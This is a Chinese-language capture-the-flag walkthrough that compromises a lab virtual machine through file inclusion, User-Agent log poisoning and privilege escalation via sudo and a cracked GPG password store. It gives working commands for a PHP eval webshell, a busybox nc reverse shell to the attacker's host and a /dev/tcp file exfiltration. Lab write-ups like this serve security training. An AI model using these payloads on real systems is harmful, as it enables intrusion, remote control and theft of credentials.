信息搜集
arp-scan
目标IP为:192.168.43.177
nmap
发现开放了22和80端口
获取userFlag
有web服务,就先上去看一看
点击about后发现url变成了:
http://192.168.43.177/page.php?inc=about.html
这里很明显的就是一个利用点,根据页面表现可以判断这里至少是一个文件读取点,我们尝试读/etc/passwd 试试
能够成功读到,那么再试试page.php呢
这里就读不了,查看源码也没有多的东西。后续的思路是需要确定这里的文件读取就是一个普通的文件读取,还是说是通过文件包含实现的,所以刚才读page.php的目的也是这个,如果说结果是看到了php的源码那么就说明是一个普通的文件读取,而如果是被渲染了那么就说明是一个文件包含。
那么现在只能去尝试读以下日志文件了,该网站的web容器是apache,所用的linux发行版大概率是Debian,因此它的apache 日志文件的位置应该如下:
/var/log/apache2/access.log
可以看到成功读到了access.log,而且可以看到日志里记录了UA头的内容,所以这里大概率就是一个UA日志文件包含了,我们可以先验证一下。通过curl发一个包:
curl -I http://192.168.43.177 -H 'User-Agent: <?php phpinfo()?>'
然后刷新一下页面
果然,成功执行了。那接下来就先写个webshell吧,同样通过curl发包:
curl -I http://192.168.43.177 -H 'User-Agent: <?php file_put_contents("/var/www/html/shell.php","<?php eval($_REQUEST[1])?>")?>'
刷新后访问shell.php
webshell写入成功,接下来直接上蚁剑吧,毕竟图形化界面更直观些。
上来之后可以看到我们目前是不具备对/home/low的访问权限的,这也就意味着我们需要先想办法拿到low用户,所以为了便于之后的操作,先反弹个shell回来。
kali上通过nc监听:
nc -lvp 8888
靶机上通过busybox调用nc反弹:
busybox nc 192.168.43.180 8888 -e /bin/bash
成功建立连接后通过以下方式稳定shell:
# 在反弹 shell 中执行
script /dev/null -c bash
# 按 Ctrl+Z 暂停
# 在 Kali 终端执行
stty raw -echo; fg
# 按 Enter 恢复,然后继续在反弹 shell 中执行
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 40 columns 178 # 可选,调整大小
这样就获得了一个比较稳定的shell了。之后就是找提权的点了,翻了一会目录后,最终的提权点在sudo上
这里可以看到我们可以low用户无密码的执行bash
这样就拿到userFlag了
userFlag:30a7b18992fef054ca6d904769fac413
获取rootFlag
刚才看/etc/passwd也看到了可以登录的普通用户只有low一个,所以接下来就是从low提权到root了,还是 sudo -l 看一下:
可以看到我们可以以root用户的身份无密码的执行一个pass命令, 问了下AI,加上--help看了下命令示例,可以大致了解这个东西是一个基于 GPG 加密的标准 Unix 密码管理器。而low的家目录下可以看到一个root.gpg文件。
这个我的理解就是它是一个密码存储的仓库,我们可通过pass读取其中存放了哪些条目:
这个的意思就是root用户有一个名为password的密码条目,我们可以读取一下:
sudo -u root pass show root/password
这里需要输入密码,但我们不知道,所以接下来的思路就是去爆破出这个密码,我们先把root.gpg拉到kali上去
kali执行:
nc -lvp 1234 > root.gpg
靶机上执行:
cat root.gpg > /dev/tcp/192.168.43.180/1234
这样就把它拉过来了,之后的话也可以通过md5sum看一下是不是同一个文件。然后就是通过gpg2john拿到文件的hash,然后给john跑
这里是因为我已经跑过了,所以直接show就行了
然后就能拿到root密码了,su登上去家目录里就能获取rootFlag了
rootFlag:008cdc7563e1d5afbcac3a241eba4db8